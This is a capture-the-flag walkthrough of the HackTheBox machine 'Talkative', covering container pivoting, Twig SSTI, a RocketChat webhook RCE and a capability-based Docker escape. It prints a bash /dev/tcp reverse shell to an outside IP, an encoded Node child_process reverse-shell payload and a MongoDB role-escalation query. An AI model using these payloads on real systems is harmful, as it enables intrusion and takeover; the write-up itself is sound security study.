Summary
- Talkative is a Linux box with a long chain of exploitation that goes through several containers to finally crack the host.
- The intial foothold is through an analytics web app called Jamovi that was on port 8080. It had a plugin called “RJ Editor” which allowed us to run system commands using the R language.
- With an R reverse shell, we got on that application’s container as
root
. - We attempted to break out of it and get on the host but couldn’t find a way to do that.
- On the filesystem, the
/root
directory contained an archive calledBolt-Administration
which contained 3 sets of credentials. - We reused the passwords we found on the Bolt CMS instance on port 80 and could log in with the
admin
username. - Because Bolt CMS used the Twig PHP template engine, we were able to edit a template to obtain RCE using Server-Side Template Injection (SSTI) payloads.
- We got a shell as
www-data
within the Bolt container. And from it, we couldSSH
to the host using the credentials we found (port 22 was only exposed to this container). - On the host, we uploaded a standalone version of
nmap
and did a full port scan on all the hosted docker instances. - One of the containers had port 27017 open. The default port for MongoDB.
- We set up
chisel
to forward any connections from our Kali to that port. And could access the Mongo database through the tunnel without authentication. - While checking it, we found the database for RocketChat which we could alter.
- To abuse that, we changed the role to
admin
for a user that we had previously registerted with a NoSQL update statement. - We could obtain RCE through the app by creating an Integration for an incoming web hook that had the ability to run server-side JavaScript when triggered.
- After getting a reverse shell on the RocketChat container as
root
, we installed a few dependencies to fix errors related to the detection of dangerous capabilities. - After that, we could see the present
cap_dac_read_search
andcap_dac_override
capabilities and could exploit them to write an SSH public key over the host’s/root/.ssh/authorized_keys
thus granting us SSH access to it asroot
.
NMAP
# Nmap 7.92 scan initiated Thu Sep 8 05:52:25 2022 as: nmap -sC -sV --version-all -oN 10.10.11.155-full-scan.nmap -p 22,80,3000,8080,8081,8082 10.10.11.155
Nmap scan report for talkative (10.10.11.155)
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://talkative.htb
|_http-server-header: Apache/2.4.52 (Debian)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| X-XSS-Protection: 1
| X-Instance-ID: Bcy5tmWBNwCAATRnA
| Content-Type: text/html; charset=utf-8
| Vary: Accept-Encoding
| Date: Thu, 08 Sep 2022 09:52:38 GMT
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/3ab95015403368c507c78b4228d38a494ef33a08.css?meteor_css_resource=true">
| <meta charset="utf-8" />
| <meta http-equiv="content-type" content="text/html; charset=utf-8" />
| <meta http-equiv="expires" content="-1" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <meta name="fragment" content="!" />
| <meta name="distribution" content="global" />
| <meta name="rating" content="general" />
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />
| <meta name="mobile-web-app-capable" content="yes" />
| <meta name="apple-mobile-web-app-capable" conten
| HTTPOptions:
| HTTP/1.1 200 OK
| X-XSS-Protection: 1
| X-Instance-ID: Bcy5tmWBNwCAATRnA
| Content-Type: text/html; charset=utf-8
| Vary: Accept-Encoding
| Date: Thu, 08 Sep 2022 09:52:39 GMT
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/3ab95015403368c507c78b4228d38a494ef33a08.css?meteor_css_resource=true">
| <meta charset="utf-8" />
| <meta http-equiv="content-type" content="text/html; charset=utf-8" />
| <meta http-equiv="expires" content="-1" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <meta name="fragment" content="!" />
| <meta name="distribution" content="global" />
| <meta name="rating" content="general" />
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />
| <meta name="mobile-web-app-capable" content="yes" />
| <meta name="apple-mobile-web-app-capable" conten
| Help, NCP:
|_ HTTP/1.1 400 Bad Request
8080/tcp open http Tornado httpd 5.0
|_http-title: jamovi
|_http-server-header: TornadoServer/5.0
8081/tcp open http Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0
8082/tcp open http Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0
nmap
gives us a lot of ports to check out: 80, 3000 and 8080 through 8082. SSH is there but filtered which suggest it’s closed off by a firewall or something.
- Port 80 redirects to
http://talkative.htb
. so we have a host name to add to our/etc/hosts
file and we might want to search for other vhosts. - Port 3000 seems to be a web application.
- Port 8080 has Jamovi as a title which seems interesting.
- Ports 8081 and 8082 give a
404 - Not Found
. there might be more to them. - And Lastly, all 808X ports are hosted on a different type of web server called “Tornado httpd” with a version of 5.0 (we could check if it’s vulnerble)
Checking Out Port 80
After modifying the /etc/hosts
file with the talkative.htb
hostname, we visit the website:
Wappalyzer shows us it’s running Bolt CMS and PHP as its server-side language. Good to know.
we also find a list of usernames there:
each user’s “Read More” link takes us to another page with his email in it:
we get 3 usernames/emails:
- Janit Smith [janit@talkative.htb]
- Saul Goodman [saul@talkative.htb]
- Matt Williams [matt@talkative.htb]
looking down at the bottom, we also find references to 3 products
1. TALKZONE
the first one was a bit vague
2. TALKFORBIZ (Coming Soon)
the second one talked about an application called “RocketChat” where it’s free to register an account.
3. TALK-A-STATS (Coming Soon)
Jamovi is mentioned third and there was a link to it as well.
But apart from that, there wasn’t much here to played with. So we moved on..
Checking Port 3000
Over port 3000, we found the homepage for RocketChat. It indeed allowed registration as mentioned above.
We could register with test@talkative.htb
(trying other domains like @test.com
didn’t work).
The “Channels” area had one channel: “#general” and there wasn’t any information there.
Before diving any deeper here doing stuff like fingerprinting the web app’s version and searching for exploits, we decided to first take a quick look on Jamovi.
The Jamovi Web App and Container
The home page had an indicator of a vulnerability.
On the toolbar above, there was an “R” icon which had a drop-down menu. It had something called “RJ Editor”.
When checking it out, it seemed like a web console where we could run code.
“R” is a programming language commonly used for statistics-related stuff. But can we abuse it?
we searched Google for “r reverse shell”
and found this Github gist as the first result
it got us a shell as root
the first thing we noticed after getting in, was being in a container (telling by the .dockerenv
file in the system root).
Finding Creds in the Root User’s Directory
In /root
, we found an interesting file: bolt-administration.omv
But since the unzip
utility wasn’t there on the docker, we used a bash trick -commonly-used in reverse shells- to transfer it back to our Kali.
Having verified the file’s integrity using md5sum
, we unzipped the archive.
the xdata.json
file within had the kind of loot we were looking for :D
from the file’s name, we know that the creds inside should work for Bolt.
but before taking that route, we opted to do a couple of important checks first.
Check #1: Scanning our Subnet and Attempting to Reach the Host
we wanted to discover the container environment and see if we can reach the host spawning our docker.
if the host exposed its SSH port to our container, we could try reusing the creds we found there.
we first get our docker’s IP using hostname -i
we were at 172.18.0.2
.
Usually, the host holds the first IP on the subnet (here, that would be 172.18.0.1
).
To confirm this, we needed either ping
or ssh
. but neither was available :/
A handy tool here would be nmap
. we’re going to upload a standalone binary for it to our container.
For the transfer, we used the same bash tricks as earlier but in the opposite direction this time.
we ran a quick network discovery with -sn
and increased the rate with --min-rate
and -T4
for speed
we only found the 172.18.0.1
host up.
next, we ran a full port scan against it to detect any thing that wasn’t exposed from the outside (like that filtered SSH port maybe?).
but to do that, nmap
needed a file called “/etc/services
” which was missing.
that file was there on our Kali. so we got it and re-ran nmap
.
the SSH port was filtered from here as well. the effort was still worth it though :)
the remaining ports were already exposed from outside. so we moved on..
Check #2: Attempting to Escape our Container
Because we had the root
privilege, it was also important to run a tool like deepce.sh to try and break out of our docker onto the host.
The capability we found: cap_dac_override
wasn’t dangerous on its own.
It required the cap_dac_read_search
with it to enable a Docker escape.
Having checked the above paths and found them closed, we can now safely move on to Bolt without looking back :)
Reusing Creds on Bolt and Exploiting it for RCE
To find bolt’s login page, we searched Google: “bolt admin login”.
we found the Official Documentation Page
according to it, the /bolt
web directory contains the login page.
Trying all the usernames and emails with all the passwords didn’t get us in.
However, trying the admin
username worked with jeO09ufhWD<s
(matt
’s password).
Looking around for ways to RCE, we tried to upload a PHP reverse shell since Bolt ran it server-side.
But that file type wasn’t allowed.
And editing the config file wasn’t an option either.
However, since the .twig
file extension was allowed, we had a chance to execute code using the same concept as Server-Side Template Injection (SSTI).
because Twig is a template engine for PHP, it essentially enables us to run server-side code.
To proceed, we went to “File Management” > “View & edit templates”
We chose the “base-2021” theme -since it was the one likely in use- then selected index.twig
for editing.
it looked writable, so we next inserted a standard SSTI payload from PayloadAllTheThings’s Github Repo.
After saving, this payload was expected to reflect on the home page.
But that change didn’t take effect until we “Cleared the Cache” from the option in the “Maintenance” menu.
the number 49 appeared at the top right corner of the page.
Having confirmed code execution, we switched to a base64-encoded bash reverse shell payload:
which is:
bash -i >& /dev/tcp/10.10.16.9/9000 0>&1
with another cache clear and a visit to the home page, we get back a shell as www-data
. (yes, we did mess up the home page, but you get the idea xD)
Enumerating the 2nd Container Subnet and Reaching the Host
Listing the contents of the system root showed us we were now in another Docker container but with a different IP of 172.17.0.13
This was a different subnet from the Jamovi container’s (172.18.0.0/24
).
to discover this area, we’re going to do the same thing as before: use nmap
after transferring it, we run a host discovery over the 172.17.0.0/24
subnet
we found a LOT of live addresses there (from 172.17.0.1
all the way up to 172.17.0.19
)
we’ve been wanting to try the creds we found on the host’s SSH port. But it was always filtered.
However, on this container, we found the SSH client installed which was interesting and tried to connect to the host:
After a couple of tries, the set of creds that worked were saul
and jeO09ufhWD
Finding RocketChat’s MongoDB Instance and Altering it
while inside, when trying to privesc, we ran linpeas. But we didn’t find a way to root
.
but, when looking at the system processes, we noticed plenty of docker instances running:
- Most of the ports were 80.
- There was one for 3000 which was probably RocketChat. A container we haven’t touched.
- There were other high ports that we wanted to check.
But to be sure we weren’t missing any other ports, we uploaded nmap
a 3rd time and ran a full port scan over the entire 172.17.0.2-19
IP range.
And we did find something very interesting.
Port 27017 is the default port for MongoDB. which is -by default- known for having no authentication.
to reach that port on the 172.17.0.2
host, we will use some port forwarding magic.
Chisel is a nice choice for its ease-of-use.
we uploaded it and created a tunnel to Mongo.
Having authenticated without any credentials, we could enumerate the database
# listing the databases
show dbs
# using the meteor database
use meteor
# showing collections within the meteor db (equivaled to tables in MySQL)
show collections
among the various collections, we found one called “users” which had interesting stuff:
we noticed saul
’s account, which had an admin role.
Trying to compromise it, we:
- tried to login using the passwords we found earlier. none worked.
- we also tried cracking the bcrypt hash. but without any luck.
- we replaced that bcrypt hash with one of our own. still, for some reason, that change didn’t reflect.
- we even used his ID and token as cookies in our browser to impersonate him. but, that also didn’t work :/
so, instead, we chose to update our user’s role in the database to grant him admin privileges :D
we ran the NoSQL update statement below to carry this out.
db.users.update({ _id : "voBu5qYu5ye3vDcw7"}, {
$set: {
roles: ["admin"]
}
})
it ran without problems.
we confirmed this with another query.
after relogging, we could now access RocketChat’s administrator interface at /admin
Noticing the version, we searched for exploits but didn’t get any results.
Abusing RocketChat Integrations for RCE
While searching Google for ways to execute code using RocketChat’s admin, we intially expected an article or something but we came across exploits instead.
Checking the one on Exploit-DB, We looked closely at the rce
function within the Python code.
it seemed that RochetChat’s Integration feature was being abused to run Javascript code server-side. This is how Remote Code Execution was obtained.
following the exploit’s way of creating its payload, we created our own Integration and Incoming Web Hook to execute a bash reverse shell instead of the cmd
variable above.
Here’s the code:
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45LzkwMDAgMD4mMQ== | base64 -d | bash');
After filling out all the fields similar to the exploit, we saved the changes.
we then copied the curl
command
and used it to trigger the webhook after starting our ncat
listener in advance.
we got a sweet root
shell on the RocketChat container :D
Escaping and Owning the Host (Finally)
Right after getting in, we improved our shell using the script
utility to get a pty.
we then transfered the deepce.sh
script and ran it to check for ways to escape to the host.
because the capsh
tool wasn’t installed, the script couldn’t enumerate the docker’s capabilities.
since capabilities are one of the main ways to escape containers, we had to install the missing items.
we cat
the /etc/os-release
file to get our Linux distro.
we were on Debian 10. so we searched Google to find out how to install capsh
The first result was from a website called command-not-found.com. a suitable name :)
according to it, we needed the libcap2-bin
library.
we could obtain it from the Debain packages site
but during installation, it required another library: libcap2
we got it the same way from here and installed it using dpkg -i
having installed the required dependencies, we ran deepce.sh
a second time:
we found a set of critical capabilities. Namely cap_dac_read_search
and cap_dac_override
which together can be exploited to write files to the host machine.
We’re going to follow the method explained in the HackTricks page and compile the C code.
Note: staticly linking the binary with the -static
flag will make sure it has the libraries it needs.
the warning wasn’t a concern here. we still got the compiled executable despite it.
To compromise the host, we first generated an SSH key pair.
we then transferred the public key and used the exploit to write it over the host’s /root/.ssh/authorized_keys
file.
which was a success!
The final step was to transfer the private key to the bolt container (since it had the ssh
client installed) and use it to own the box.
What a trip! :D